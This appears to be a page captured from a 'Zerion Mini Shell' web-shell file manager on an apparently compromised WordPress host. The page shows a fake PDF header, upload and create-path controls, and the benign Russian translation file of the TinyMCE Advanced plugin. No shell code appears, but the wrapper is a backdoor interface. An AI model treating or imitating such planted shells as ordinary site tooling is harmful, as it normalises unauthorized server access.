%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/jugement/wp-content/plugins/tinymce-advanced/langs/
Upload File :
Create Path :
Current File : /home/emergentqj/jugement/wp-content/plugins/tinymce-advanced/langs/tinymce-advanced-ru_RU.po

msgid ""
msgstr ""
"Project-Id-Version: tinymce-advanced\n"
"POT-Creation-Date: 2016-03-17 12:21-0800\n"
"PO-Revision-Date: 2016-03-17 12:24-0800\n"
"Last-Translator: Vadim Bogaiskov <vadim.bogaiskov@gmail.com>\n"
"Language-Team: Vadim Bogaiskov\n"
"Language: ru\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.6.9\n"
"X-Poedit-KeywordsList: _;gettext;gettext_noop;_e;__;_n;_x\n"
"X-Poedit-Basepath: ..\n"
"Plural-Forms: nplurals=3; plural=((((n%10)==1)&&((n%100)!=11))?(0):(((((n"
"%10)>=2)&&((n%10)<=4))&&(((n%100)<10)||((n%100)>=20)))?(1):2));\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-SearchPath-0: .\n"

#: ../tadv_admin.php:140
msgid "Default settings restored."
msgstr "Настройки по умолчанию восстановлены"

#: ../tadv_admin.php:152
msgid "TinyMCE Advanced Settings Export"
msgstr "Экспорт настроек TinyMCE Advanced"

#: ../tadv_admin.php:156
msgid "The settings are exported as a JSON encoded string."
msgstr "Настройки экспортируется как закодированная JSON-строка."

#: ../tadv_admin.php:157
msgid ""
"Please copy the content and save it in a <b>text</b> (.txt) file, using a "
"plain text editor like Notepad."
msgstr ""
"Пожалуйста скопируйте содержимое и сохраните его в <b>текстовом</b> (.txt) "
"файл, используя текстовый редактор, например Блокнот."

#: ../tadv_admin.php:158
msgid ""
"It is important that the export is not changed in any way, no spaces, line "
"breaks, etc."
msgstr ""
"Важно, чтобы экспорт никак не изменялся, без пробелов, разрывы строк и т.д."

#: ../tadv_admin.php:163
msgid "Select All"
msgstr "Выбрать все"

#: ../tadv_admin.php:165 ../tadv_admin.php:191
msgid "Back to Editor Settings"
msgstr "Назад в настройки редактора"

#: ../tadv_admin.php:177
msgid "TinyMCE Advanced Settings Import"
msgstr "Импорт настроек TinyMCE Advanced"

#: ../tadv_admin.php:180
msgid ""
"The settings are imported from a JSON encoded string. Please paste the "
"exported string in the text area below."
msgstr ""
"Настройки импортируются из закодированной JSON-строки. Пожалуйста вставьте "
"экспортированную строку в текстовом поле ниже."

#: ../tadv_admin.php:185
msgid "Verify"
msgstr "Проверить"

#: ../tadv_admin.php:186
msgid "Import"
msgstr "Импорт"

#: ../tadv_admin.php:216
msgid "Importing of settings failed."
msgstr "Импорт настроек не выполнен."

#: ../tadv_admin.php:242
msgid "ERROR: All toolbars are empty. Default settings loaded."
msgstr ""
"ОШИБКА: Все панели инструментов пусты.  Загружены настройки по умолчанию."

#: ../tadv_admin.php:254
msgid "Editor Settings"
msgstr "Настройки редактора"

#: ../tadv_admin.php:261
msgid "Settings saved."
msgstr "Настройки сохранены."

#: ../tadv_admin.php:270 ../tadv_admin.php:540
msgid "Save Changes"
msgstr "Сохранить изменения"

#: ../tadv_admin.php:277
msgid "Enable the editor menu."
msgstr "Включить меню редактора."

#: ../tadv_admin.php:389
msgid ""
"Drag buttons from the unused buttons below and drop them in the toolbars "
"above, or drag the buttons in the toolbars to rearrange them."
msgstr ""
"Перетащите кнопки из области неиспользованных, расположенной ниже и "
"поместите их в панели инструментов наверху, или переместите кнопки в панелях "
"инструментов, чтобы изменить их."

#: ../tadv_admin.php:392
msgid "Unused Buttons"
msgstr "Неиспользуемые кнопки"

#: ../tadv_admin.php:434
#, fuzzy
msgid "Options"
msgstr "Дополнительные параметры"

#: ../tadv_admin.php:437
msgid "List Style Options"
msgstr "Список настроек стилей"

#: ../tadv_admin.php:439
msgid ""
"Enable more list options: upper or lower case letters for ordered lists, "
"disk or square for unordered lists, etc."
msgstr ""

#: ../tadv_admin.php:444
msgid "Context Menu"
msgstr "Контекстное меню"

#: ../tadv_admin.php:446
msgid "Replace the browser context (right-click) menu."
msgstr ""

#: ../tadv_admin.php:451
msgid "Alternative link dialog"
msgstr ""

#: ../tadv_admin.php:453
msgid ""
"Open the TinyMCE link dialog when using the link button on the toolbar or "
"the link menu item."
msgstr ""

#: ../tadv_admin.php:458
msgid "Font sizes"
msgstr ""

#: ../tadv_admin.php:459
msgid ""
"Replace the size setting available for fonts with: 8px 10px 12px 14px 16px "
"20px 24px 28px 32px 36px 48px 60px."
msgstr ""
"Заменяет настройки размера шрифта одним из доступных: 8px 10px 12px 14px "
"16px 20px 24px 28px 32px 36px 48px 60px."

#: ../tadv_admin.php:467
msgid "Advanced Options"
msgstr "Дополнительные параметры"

#: ../tadv_admin.php:476
msgid "Create CSS classes menu"
msgstr ""

#: ../tadv_admin.php:478
msgid ""
"Load the CSS classes used in editor-style.css and replace the Formats button "
"and sub-menu."
msgstr ""
"Загрузить классы CSS, используемые в editor-style.css и заменить кнопку "
"Форматы и подменю."

#: ../tadv_admin.php:488
msgid "Keep paragraph tags"
msgstr ""

#: ../tadv_admin.php:490
#, fuzzy
msgid ""
"Stop removing the &lt;p&gt; and &lt;br /&gt; tags when saving and show them "
"in the Text editor."
msgstr ""
"Остановить удаление тегов &lt;p&gt; и  &lt;br /&gt; при сохранении и "
"показать их в текстовом редакторе"

#: ../tadv_admin.php:491
msgid ""
"This will make it possible to use more advanced coding in the HTML editor "
"without the back-end filtering affecting it much."
msgstr ""
"Это позволит использовать более передовые методы кодирования в редакторе "
"HTML без фоновой фильтрации, существенно влияющей на него."

#: ../tadv_admin.php:492
msgid ""
"However it may behave unexpectedly in rare cases, so test it thoroughly "
"before enabling it permanently."
msgstr ""
"Однако в редких случаях это может вести себя непредсказуемо, поэтому "
"тщательно проверьте его перед включением на постоянно."

#: ../tadv_admin.php:493
msgid ""
"Line breaks in the HTML editor would still affect the output, in particular "
"do not use empty lines, line breaks inside HTML tags or multiple &lt;br /"
"&gt; tags."
msgstr ""
"Переносы строк в редакторе HTML прежнему будет влиять на результат, в "
"частности, не используйте пустые строки, переносы строк внутри тегов HTML "
"или многократные теги  &lt;br /&gt;. "

#: ../tadv_admin.php:498
msgid "Enable pasting of image source"
msgstr "Включить вставку исходного кода изображения"

#: ../tadv_admin.php:500
msgid ""
"Works only in Firefox and Safari. These browsers support pasting of images "
"directly in the editor and convert them to base64 encoded text."
msgstr ""
"Работает только в Firefox и Safari. Эти браузеры поддерживают вставку "
"изображений непосредственно в редакторе и конвертацию их в base64-"
"закодированный текст."

#: ../tadv_admin.php:501
msgid ""
"This is not acceptable for larger images like photos or graphics, but may be "
"useful in some cases for very small images like icons, not larger than 2-3KB."
msgstr ""
"Это неприемлемо для больших изображений, таких как фотографии или графики, "
"но может быть полезным в некоторых случаях для очень маленьких изображений, "
"таких как иконки размером не более 2-3KB."

#: ../tadv_admin.php:502
msgid "These images will not be available in the Media Library."
msgstr "Эти изображения не будут доступны в библиотеке мультимедиа."

#: ../tadv_admin.php:508
msgid "Administration"
msgstr "Управление"

#: ../tadv_admin.php:510
msgid "Settings import and export"
msgstr ""

#: ../tadv_admin.php:512
msgid "Export Settings"
msgstr "Экспорт настроек"

#: ../tadv_admin.php:513
msgid "Import Settings"
msgstr "Импорт настроек"

#: ../tadv_admin.php:517
#, fuzzy
msgid "Enable the editor enhancements for:"
msgstr "Включить меню редактора."

#: ../tadv_admin.php:520
msgid "The main editor (Add New and Edit posts and pages)"
msgstr ""

#: ../tadv_admin.php:524
msgid "Other editors in wp-admin"
msgstr ""

#: ../tadv_admin.php:528
msgid "Editors on the front end of the site"
msgstr ""

#: ../tadv_admin.php:539
msgid "Restore Default Settings"
msgstr "Восстановить настройки по умолчанию"

#: ../tadv_admin.php:545
msgid ""
"The [Toolbar toggle] button shows or hides the second, third, and forth "
"button rows. It will only work when it is in the first row and there are "
"buttons in the second row."
msgstr ""
"Кнопка [Панель переключения] отображает/скрывает вторую, третью и четвертую "
"строки кнопок. Она будет работать только тогда, когда она находится в первой "
"строке и есть кнопки во второй строке."

#: ../tinymce-advanced.php:221
#, php-format
msgid ""
"TinyMCE Advanced requires WordPress version %1$s or newer. It appears that "
"you are running %2$s. This can make the editor unstable."
msgstr ""
"Для работы TinyMCE Advanced требуется WordPress версии %1$s или выше. "
"Похоже, что Вы работаете на %2$s. Это может сделать работу редактора "
"неустойчивой."

#: ../tinymce-advanced.php:228
#, php-format
msgid ""
"Please upgrade your WordPress installation or download an <a href=\"%s"
"\">older version of the plugin</a>."
msgstr ""
"Пожалуйста, обновите Ваш WordPress или скачайте <a href=\"%s\">старую версию "
"плагина</a> ."

#: ../tinymce-advanced.php:703
#, fuzzy
msgid "Settings"
msgstr "Настройки редактора"

#~ msgid ""
#~ "New in TinyMCE 4.0/WordPress 3.9 is the editor menu. When it is enabled, "
#~ "most buttons are also available as menu items."
#~ msgstr ""
#~ "Новое в TinyMCE 4.0/WordPress 3.9 - меню редактора. Когда оно включено, "
#~ "большинство кнопок, также доступны как элементы меню."

#~ msgid "Also enable:"
#~ msgstr "Также вкл.:"

#~ msgid "Link (replaces the Insert/Edit Link dialog)"
#~ msgstr "Ссылка (заменяет диалог Вставить/Редактировать ссылку)"

#~ msgid "Import editor-style.css."
#~ msgstr "Импорт editor-style.css."

#~ msgid ""
#~ "It seems your theme does not support customised styles for the editor."
#~ msgstr ""
#~ "Кажется, ваша тема не поддерживает пользовательские стили для редактора."

#~ msgid ""
#~ "You can create a CSS file named <code>editor-style.css</code> and upload "
#~ "it to your theme's directory."
#~ msgstr ""
#~ "Вы можете создать CSS-файл с именем <code>editor-style.css</code> и "
#~ "загрузите его в папку вашей темы."

#~ msgid "After that, enable this setting."
#~ msgstr "После этого, включить этот параметр."

#~ msgid "Replace font size settings"
#~ msgstr "Заменить настройки размера шрифта "

#~ msgid ""
#~ "This plugin requires WordPress version 4.0 or newer. Please upgrade your "
#~ "WordPress installation or download an %solder version of the plugin%s."
#~ msgstr ""
#~ "Для этого плагина требуется WordPress версии 4.0 или более новой. "
#~ "Обновите WordPress или загрузите  %sстарую версию плагина%s."

#~ msgid ""
#~ "The settings are exported as a JSON encoded string. Please copy the "
#~ "content and save it in a <b>text</b> (.txt) file, using a plain text "
#~ "editor like Notepad. It is important that the export is not changed in "
#~ "any way, no spaces, line breaks, etc."
#~ msgstr ""
#~ "Настройки экспортируется как строки JSON . Пожалуйста, скопируйте "
#~ "содержимое и сохранить его в <b>текстовом</b> файле (.txt), используя "
#~ "простой текстовый редактор, например, Блокнот. Важно, чтобы "
#~ "экспортированный файл не изменяется ни каким образом, не добавлением "
#~ "пробелов, не разрывом строк, и т.д."

#~ msgid ""
#~ "The settings are imported from a JSON encoded string. Please paste the "
#~ "exported string in the textarea below."
#~ msgstr ""
#~ "Настройки импортируются из JSON. Пожалуйста, вставьте экспортированную "
#~ "строку ниже в текстовое поле."

#~ msgid ""
#~ "It seems your theme does not support customised styles for the editor. "
#~ "You can create a CSS file named <code>editor-style.css</code> and upload "
#~ "it to your theme's directory. After that, enable this setting."
#~ msgstr ""
#~ "Кажется, Ваша тема не поддерживает пользовательские стили для редактора.  "
#~ "Вы можете создать файл с именем <i>editor-style.css</i> и загрузить его в "
#~ "каталог Вашей темы. После этого включите эту настройку."

#~ msgid "Markdown typing support (text pattern plugin)"
#~ msgstr "Поддержка ввода Markdown (плагин шаблона текста)"

#~ msgid ""
#~ "This plugin matches special patterns while you type and applies formats "
#~ "or executed commands on these text patterns. The default patterns are the "
#~ "same as the markdown syntax so you can type <code># text</code> to create "
#~ "a header, <code>1. text</code> to create a list, <code>**text**</code> to "
#~ "make something bold, etc."
#~ msgstr ""
#~ "Этот модуль использует специальные шаблоны во время ввода текста и "
#~ "применяет форматы или введенные команды из этих текстовых шаблонов.  По "
#~ "умолчанию шаблоны соответствуют синтаксису markdown, так что Вы можете "
#~ "ввести <code># text</code>, чтобы создать заголовок, <code>1. text</"
#~ "code>, чтобы создать список, <code>**text**</code>, чтобы выделить текст  "
#~ "жирным шрифтом и т.д."

#~ msgid "More information"
#~ msgstr "Более подробная информация"

#~ msgid ""
#~ "This will make it possible to use more advanced coding in the HTML editor "
#~ "without the back-end filtering affecting it much. However it may behave "
#~ "unexpectedly in rare cases, so test it thoroughly before enabling it "
#~ "permanently. Line breaks in the HTML editor would still affect the "
#~ "output, in particular do not use empty lines, line breaks inside HTML "
#~ "tags or multiple &lt;br /&gt; tags."
#~ msgstr ""
#~ "Эта функция делает возможным использовать более продвинутое кодирование в "
#~ "HTML редакторе без фоновой фильтрации, оказывающей не него существенное "
#~ "влияние. Однако  в редких случаях она может вести себя непредсказуемо, "
#~ "поэтому тщательно проверьте её перед включением постоянно. Разрывы строк "
#~ "в HTML редакторе будут по-прежнему влиять на результат, в частности не "
#~ "используйте пустые строки, разрывы строк внутри HTML тегов или несколько "
#~ "тегов <br /> ."

#~ msgid ""
#~ "Works only in Firefox and Safari. These browsers support pasting of "
#~ "images directly in the editor and convert them to base64 encoded text. "
#~ "This is not acceptable for larger images like photos or graphics, but may "
#~ "be useful in some cases for very small images like icons, not larger than "
#~ "2-3KB. These images will not be available in the Media Library."
#~ msgstr ""
#~ "Работает только в Firefox и Safari. Эти браузеры поддерживают вставку "
#~ "изображений непосредственно в редакторе и конвертируют их в текст, "
#~ "закодированный по формату base64. Это не приемлемо для больших "
#~ "изображений, таких как фотографии или графики, но может быть полезно в "
#~ "некоторых случаях для очень маленьких изображений, таких как иконки, не "
#~ "больше, чем 2-3KB. Эти изображения не будут доступны в библиотеке "
#~ "мультимедиа."

#~ msgid "older version of the plugin."
#~ msgstr "старую версию плагина."

#~ msgid "The settings are exported as a JSON encoded string. "
#~ msgstr "Настройки экспортируется как JSON ."

#~ msgid ""
#~ "It seems your theme doesn't support customised styles for the editor. "
#~ msgstr ""
#~ "Кажется, Ваша тема не поддерживает специальные стили для редактора. "

#~ msgid ""
#~ "You can create a CSS file named <code>editor-style.css</code> and upload "
#~ "it to your theme's directory. "
#~ msgstr ""
#~ "Вы можете создать файл CSS с именем <code>editor-style.css</code> и "
#~ "загрузить его в каталог вашей темы. "

#~ msgid ""
#~ "This will make it possible to use more advanced coding in the HTML editor "
#~ "without the back-end filtering affecting it much. "
#~ msgstr ""
#~ "Это сделает возможным использование более продвинутого кодирования в "
#~ "редакторе HTML без фоновой фильтрации влияющей на многое. "

#~ msgid ""
#~ "However it may behave unexpectedly in rare cases, so test it thoroughly "
#~ "before enabling it permanently. "
#~ msgstr ""
#~ "Однако  в редких случаях это может вести себя непредсказуемымо, поэтому "
#~ "проверьте все тщательно  перед включением его постоянно. "

#~ msgid "All options have been removed from the database. You can"
#~ msgstr "Все опции были удалены из базы данных. Вы можете"

#~ msgid "deactivate TinyMCE Advanced"
#~ msgstr "отключить TinyMCE Advanced"

#~ msgid "or"
#~ msgstr "или"

#~ msgid "reload this page"
#~ msgstr "перезагрузить страницу"

#~ msgid "to reset them to the default values."
#~ msgstr "сбросить их к значениям по умолчанию."

#~ msgid "TinyMCE Buttons Arrangement"
#~ msgstr "Компоновка кнопок TinyMCE "

#~ msgid "Drag and drop buttons onto the toolbars below."
#~ msgstr "Перетащите кнопки снизу на панели инструментов."

#~ msgid ""
#~ "Adding too many buttons will make the toolbar too long and will not "
#~ "display correctly in TinyMCE!"
#~ msgstr ""
#~ "Добавление слишком большого количества кнопок сделает панель инструментов "
#~ "слишком длинной и она не будет корректно отображаться в TinyMCE!"

#~ msgid "Advanced Image"
#~ msgstr "Дополнительные изображения"

#~ msgid ""
#~ "(to show the browser context menu in Firefox, hold down the Ctrl key)."
#~ msgstr ""
#~ "(чтобы показать контекстное меню браузера в Firefox, удерживайте нажатой "
#~ "клавишу Ctrl)."

#~ msgid "Advanced Link"
#~ msgstr "Дополнительные ссылки"

#~ msgid ""
#~ "Enabling this TinyMCE plugin will overwrite the internal links feature in "
#~ "WordPress 3.1 and newer. Cuttently there is no way to enable both of them "
#~ "at the same time."
#~ msgstr ""
#~ "Включение этого модуля TinyMCE перезапишет внутренние ссылки в WordPress "
#~ "3.1 и старше. В настоящее время не существует способа включить их оба "
#~ "одновременно."

#~ msgid ""
#~ "This is only needed if you created that file. Themes that style the "
#~ "editor will import the stylesheet automatically."
#~ msgstr ""
#~ "Это необходимо, только если Вы создали этот файл. Темы этого стиля "
#~ "редактор будет импортировать таблицы стилей автоматически."

#~ msgid ""
#~ "Note that selecting this will also disable the Styles drop-down menu."
#~ msgstr ""
#~ "Обратите внимание, что если выбрать этот пункт будут также отключены "
#~ "стили выпадающего меню."

#~ msgid "Language Settings"
#~ msgstr "Настройки языка"

#~ msgid "Your WordPress language is set to"
#~ msgstr "Язык  WordPress -"

#~ msgid ""
#~ "However there is no matching language installed for TinyMCE plugins. This "
#~ "plugin includes several translations: German, French, Italian, Spanish, "
#~ "Portuguese, Russian, Japanese and Chinese. More translations are "
#~ "available at the"
#~ msgstr ""
#~ "Однако для модулей TinyMCE никакой язык не установлен. Этот плагин "
#~ "включает в себя несколько переводов: немецкий, французский, итальянский, "
#~ "испанский, португальский, русский, японский и китайский языки. Другие "
#~ "переводы доступны в"

#~ msgid "TinyMCE web site."
#~ msgstr "Вэб-сайт TinyMCE."

#~ msgid ""
#~ "The Kitchen Sink button shows/hides the next toolbar row. It will not "
#~ "work at the current place."
#~ msgstr ""
#~ "Кнопка Kitchen Sink показывает/скрывает следующую строку панели "
#~ "инструментов. Он не будет работать на этом месте."

#~ msgid "Remove all saved settings from the database?"
#~ msgstr "Удалить все сохраненные настройки из базы данных?"

#~ msgid "Cancel"
#~ msgstr "Отмена"

#~ msgid "Continue"
#~ msgstr "Продолжить"

Zerion Mini Shell 1.0